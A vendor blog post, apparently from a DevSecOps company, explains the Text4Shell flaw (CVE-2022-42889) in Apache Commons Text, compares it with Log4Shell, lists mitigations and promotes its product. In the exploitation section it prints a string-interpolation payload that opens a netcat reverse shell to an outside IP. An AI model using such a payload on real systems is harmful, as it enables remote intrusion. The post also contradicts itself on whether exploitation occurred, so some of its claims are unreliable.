JavaScript is the go-to language for web development. It powers the dynamic content we interact with every day on the internet - whether we're scrolling through Facebook, watching a new Netflix documentary, or finding the nearest restaurant on Google Maps. Behind JavaScript's versatility and innovation is its extensive list of open-source libraries and frameworks.

97% of applications use open-source code - so companies are clearly reaping the benefits of open-source libraries to speed up development and enhance their products. But nothing good comes for free. Java libraries are a continuous source of vulnerabilities attackers are hungry to exploit.

Some vulnerabilities make more headlines than others. In late 2022, the spotlight was taken by Text4Shell - a high-severity vulnerability in Apache Commons Text, Java's open-source library, that shook the tech and security community worldwide.

Decoding Text4Shell (CVE-2022-42889)

Text4Shell (tracked as CVE-2022-42889) is a critical vulnerability that affects versions 1.5 through 1.9 of Apache Commons Text, a Java library that focuses on algorithms working on strings. The vulnerability was reported in early October 2022 by Alvaro Muñoz, a researcher at GitHub Security Labs, and received a staggering CVSS severity rating of 9.8 out of 10.

Attackers could leverage this vulnerability to perform Remote Code Execution (RCE), enabling them to execute arbitrary code or commands on a target system remotely. The consequences of RCE attacks can be disastrous, as bad actors could gain complete control of applications to steal data, escalate privileges, or inject malicious code.

Exploitation attempts started just days after the Text4Shell was disclosed. Defiant, the company providing the Wordfence security service for all WordPress sites worldwide, discovered Text4Shell exploitation attempts from roughly 40 IP addresses.

Luckily, the Apache Commons Text library quickly responded to this vulnerability by introducing a new version (version 1.10) with security patches. However, Text4Shell was a wake-up call for organizations, showing the importance of vulnerability management even when working with the most popular and widely used open-source libraries.

How Text4Shell Works

Apache Commons Text is a Java library focusing explicitly on text-related operations, such as string manipulation, formatting, and parsing. The library provides a feature named StringSubstitutor interpolator to find and replace values in the text, enabling the generation of dynamic text for email templates or configuration files. Text4Shell exists in several default interpolators used by this feature.

To be affected by Text4Shell, your application would need to be using a version of Apache Commons Text between 1.5 and 1.9 and the StringSubstitutor interpolator through any of the methods below:

How to Exploit Text4Shell

Text4Shell can be exploited when an application passes untrusted input to a method in the Apache Commons Text library that performs string interpolation. If an application accepts user input and passes it to the StringSubstitutor.replace() method, the attacker could inject malicious code into the input and execute it on the server.

Consider a web application with a search API like the one below, where user queries are processed via the StringSubstitutor of Commons Text:

http://web.app?search=<query>

The attackers can exploit the above API endpoint using a payload like the one below:

${script:javascript:java.lang.Runtime.getRuntime.exec()'nc 192.168.49.1 9090 -e /bin/sh')}

This payload is constructed using ${prefix:name} to the String Lookup and a reverse shell connection using the netcat command to listen on port 9090. Once the request is sent and the links are established, the attacker can interact with the compromised machine as a privileged user (root) and execute arbitrary code.

Log4Shell vs Text4Shell

L*og4Shell (CVE-2021-44228) and Text4Shell (CVE-2022-42889) are both critical vulnerabilities in two popular open-source software libraries: Apache Log4j logging and Apache Commons Text.* While both fall under the category of remote code execution (RCE) vulnerabilities and have gathered impressive media attention, there are notable differences between the two:

• The usage of the Apache Log4j logging library is significantly higher than that of the Apache Commons Text library. Hence, there are more systems vulnerable to Log4Shell attacks than Text4Shell.
• Exploiting Log4Shell is relatively straightforward, as an attacker only needs to inject malicious code into a log message. On the other hand, exploiting Text4Shell requires an attacker to pass malicious code to a specific method within Apache Commons Text responsible for performing string interpolation.

The below table highlights some of the critical differences between Log4Shell and Text4Shell:

Why the Text4Shell vulnerability is a cybersecurity plot twist

Apache Commons Text has been around for many years and is used by millions of software applications. The fact that such a critical vulnerability was discovered in such a mature library surprised many security researchers and practitioners.

Even unskilled attackers can exploit Text4Shell since they only need to pass malicious code to a specific method in the Apache Commons Text library. Furthermore, this is not specific to a single type of application. Attackers can exploit any application that uses Apache Commons Text, including web, desktop, and mobile.

There weren't any cases of Text4Shell exploitation, and, as we have seen, Text4Shell isn't nearly as widespread or exploitable as its infamous predecessor, Log4Shell. The headlines for this new vulnerability eventually faded, and developers and security professionals realized they could breathe a sigh of relief.

But just because Text4Shell didn't quite match the severity of Log4Shell (a solid 10 out of 10 on the CVSS scale), that doesn't mean we can undermine its potential consequences. Remote Code Execution (RCE) can quickly snowball into catastrophic attacks such as brand hijacking and data theft, resulting in severe financial and reputational damage.

Preventing and Mitigating Text4Shell

Not all is lost if you discover the Text4Shell vulnerability in your environment. Here are some actions you can take to mitigate Text4Shell in the unlucky event that your application contains this vulnerability, as well as some prevention strategies you should consider to avoid similar incidents in the future:

1. Update versions and validate user input

If you are using an older version of Apache Commons Text, upgrade it to a 1.10.0 or higher version immediately. Then, properly validate and sanitize all user input before it is processed by Apache Commons Text, and avoid using any vulnerable functions.

2. DevSecOps Automation

Integrate security tools into each SDLC stage to ensure that issues are detected as early as possible. You should orchestrate various security testing types into your CI/CD pipelines, such as SAST, SCA, and DAST tools, and automate them to run on every build. Jit enables you to automate and manage all of these tools under one platform - making it easier to achieve complete DevSecOps alignment.

3. Enable built-in security

Most web application servers provide inbuilt security features to protect users, their data, and the application itself. Some of the most common built-in features include SSL certifications, session management, WAFs, DDoS protection, or Transport Layer Security (TLS). Take advantage of the features your server offers to strengthen your security posture.

4. The principle of least privilege

PoLP is an essential step in your zero trust maturity model. This approach restricts user permissions to the minimum necessary for tasks, minimizing the attack surface and making it easier to detect threats. Consider a microservices architecture with each service assigned the least privilege required to perform its specific function. If a single service is compromised, the attacker won't be able to move between services since they are entirely isolated.

Ensuring Security Beyond the Text4Shell Threat

Text4Shell might not be as widespread or devastating as its predecessors, but it sure reminds us that we should be ready for these severe threats at any time. It's no longer acceptable to merely patch vulnerabilities once they're discovered. Instead, dev teams need to adopt a proactive and continuous security approach.

Jit works as an orchestration layer that makes it easier, faster, and simpler to integrate and automate all the relevant security tools for your software. It covers code, pipeline, infrastructure, and runtime app security in one package, automating tools to run for every PR and offering vulnerability findings and remediation suggestions in real time.

Are you interested in implementing a shift left approach to security? Your journey starts here.